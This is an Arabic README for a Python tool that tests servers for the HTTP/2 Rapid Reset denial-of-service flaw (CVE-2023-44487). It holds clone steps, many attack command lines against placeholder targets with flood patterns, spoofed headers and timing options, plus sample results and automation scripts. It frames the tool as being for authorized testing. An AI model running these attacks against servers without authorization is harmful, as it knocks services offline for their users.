
أداة اختبار مبنية على بايثون لـ CVE-2023-44487 (HTTP/2 Rapid Reset) مع أنماط هجوم متعددة، وإعدادات دقيقة، ومراقبة لتقييمات الأمان المصرح بها.
أداة اختبار شاملة بلغة Python لثغرة CVE-2023-44487، وهي ثغرة HTTP/2 Rapid Reset. يوفر هذا الإصدار المحسّن تحكمًا دقيقًا في معاملات الاختبار، وأنماط هجوم متعددة، وقدرات مراقبة متقدمة.
هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرح به فقط!
CVE-2023-44487، المعروفة أيضًا باسم "HTTP/2 Rapid Reset"، هي ثغرة حرجة في بروتوكول HTTP/2 تسمح للمهاجمين بـ:
درجة CVSS: 7.5 (عالية)
التأثير: حجب الخدمة، استنزاف الموارد
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # يجب أن يكون 3.7+
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| الخيار | الوصف | الافتراضي |
|---|---|---|
-c, --connections N | عدد الاتصالات المتزامنة | 1 |
--connection-timeout SEC | مهلة الاتصال بالثواني | 10 |
--read-timeout SEC | مهلة القراءة للاستجابات | 5 |
--connection-delay SEC | التأخير بين الاتصالات | 0.0 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
-r, --requests N | الطلبات لكل اتصال | 100 |
--delay SEC | التأخير بين HEADERS و RST_STREAM | 0.001 |
--request-delay SEC | التأخير بين الطلبات | 0.0 |
--jitter FACTOR | عامل عشوائية التوقيت | 0.0 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--pattern TYPE | نمط الهجوم المستخدم | rapid_reset |
--burst-size N | الطلبات لكل دفعة | 10 |
--burst-delay SEC | التأخير بين الدفعات | 0.1 |
الأنماط المتاحة:
rapid_reset - هجوم إعادة الضبط السريع القياسيburst_reset - هجمات قائمة على الدفعاتgradual_reset - معدل متزايد تدريجيًاrandom_reset - توقيت عشوائيcontinuation_flood - فيضان إطارات CONTINUATIONmixed_pattern - مزيج من الأنماط| الخيار | الوصف | الافتراضي |
|---|---|---|
--window-size BYTES | حجم نافذة HTTP/2 الأولية | 65535 |
--frame-size BYTES | الحد الأقصى لحجم الإطار | 16384 |
--header-table-size BYTES | حجم جدول ترويسات HPACK | 4096 |
--enable-push | تمكين دفع خادم HTTP/2 | False |
--rst-error-code CODE | رمز خطأ RST_STREAM | 8 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--custom-headers HEADER | ترويسات مخصصة (الاسم: القيمة) | None |
--random-headers | توليد ترويسات عشوائية | False |
--header-count N | عدد الترويسات العشوائية | 5 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--randomize-streams | استخدام معرفات تدفق عشوائية | False |
--priority-frames | تضمين معلومات الأولوية | False |
--continue-on-error | المتابعة بعد الأخطاء | True |
--max-errors N | الحد الأقصى للأخطاء قبل التوقف | 10 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--track-latency | تتبع زمن استجابة الطلبات | False |
--track-responses | تتبع استجابات الخادم | False |
--monitor-memory | مراقبة استخدام الذاكرة | False |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--output FORMAT | تنسيق الإخراج | console |
--output-file FILE | اسم ملف الإخراج | تم إنشاؤه تلقائيًا |
--verbose, -v | إخراج مفصل | False |
--debug | تسجيل التصحيح | False |
--log-file FILE | التسجيل في ملف | None |
تنسيقات الإخراج المتاحة:
console - إخراج وحدة التحكم القابل للقراءة البشريةjson - JSON قابل للقراءة آليًاcsv - CSV متوافق مع جداول البياناتxml - تنسيق XML منظمتوفر الأداة نتائج شاملة تشمل:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
تقوم الأداة تلقائيًا بتقييم الثغرة:
إذا وجدت أن خادمك عرضة للثغرة، نفذ هذه التخفيفات:
import subprocess
import json
# تشغيل اختبار آلي
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# تحليل النتائج
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HIGH RISK: {vulnerability_score}% success rate")
#!/bin/bash
# Cron job: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# تنبيه إذا تم اكتشاف ثغرة
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# تحميل وتحليل نتائج CSV
df = pd.read_csv('results.csv')
# تصور نجاح الهجوم حسب الاتصال
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Attack Success by Connection')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Success Rate Distribution')
plt.show()
رفض الاتصال:
أخطاء SSL/TLS:
--debug للحصول على معلومات SSL مفصلةمعدلات نجاح منخفضة:
مشكلات الأداء:
--debug و --log-file للتحليل--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyهذه الأداة مقدمة بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.
هذه الأداة مخصصة لمحترفي الأمن السيبراني والباحثين ومسؤولي الأنظمة لاختبار أنظمتهم الخاصة أو الأنظمة التي لديهم إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه الأداة.
النقاط القانونية الرئيسية:
تذكر: مع القوة العظيمة تأتي مسؤولية عظيمة. استخدم هذه الأداة بشكل أخلاقي وقانوني.
يحافظ الإصدار المحسّن على التوافق مع الإصدار الأساسي. تستمر جميع خيارات سطر الأوامر الحالية في العمل، مع توفير خيارات جديدة لقدرات إضافية.
للمستخدمين الذين يقومون بالترقية من الإصدار الأساسي:
# الاستخدام الأساسي القديم لا يزال يعمل
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# الاستخدام المحسّن الجديد مع خيارات إضافية
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json